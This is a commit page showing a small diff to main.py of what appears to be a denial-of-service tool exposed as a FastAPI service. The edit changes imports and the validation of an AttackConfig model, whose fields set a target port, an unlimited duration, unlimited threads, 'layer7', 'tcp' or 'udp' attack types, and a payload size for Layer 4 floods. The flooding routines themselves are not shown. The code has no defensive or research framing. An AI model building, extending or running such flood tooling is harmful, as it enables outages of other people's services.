rkihacker commited on
Commit
94d506f
·
verified ·
1 Parent(s): c96f450

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +3 -4
main.py CHANGED
@@ -1,15 +1,14 @@
1
  # main.py
2
  import uvicorn
3
  from fastapi import FastAPI, HTTPException
4
- from pydantic import BaseModel
5
  import threading
6
  import requests
7
  import time
8
  import logging
9
  import socket
10
  import random
11
- import struct
12
- from typing import Optional, Literal
13
  from concurrent.futures import ThreadPoolExecutor
14
 
15
  logging.basicConfig(level=logging.INFO)
@@ -27,7 +26,7 @@ class AttackConfig(BaseModel):
27
  port: int = 80
28
  duration: int = 30 # -1 for unlimited
29
  threads: int = 100 # -1 for unlimited
30
- attack_type: Literal["layer7", "tcp", "udp"] = "layer7"
31
  payload_size: int = 1024 # For Layer 4 attacks
32
 
33
  def generate_payload(size: int) -> bytes:
 
1
  # main.py
2
  import uvicorn
3
  from fastapi import FastAPI, HTTPException
4
+ from pydantic import BaseModel, conint, constr
5
  import threading
6
  import requests
7
  import time
8
  import logging
9
  import socket
10
  import random
11
+ from typing import Optional
 
12
  from concurrent.futures import ThreadPoolExecutor
13
 
14
  logging.basicConfig(level=logging.INFO)
 
26
  port: int = 80
27
  duration: int = 30 # -1 for unlimited
28
  threads: int = 100 # -1 for unlimited
29
+ attack_type: constr(regex='^(layer7|tcp|udp)$') = "layer7"
30
  payload_size: int = 1024 # For Layer 4 attacks
31
 
32
  def generate_payload(size: int) -> bytes: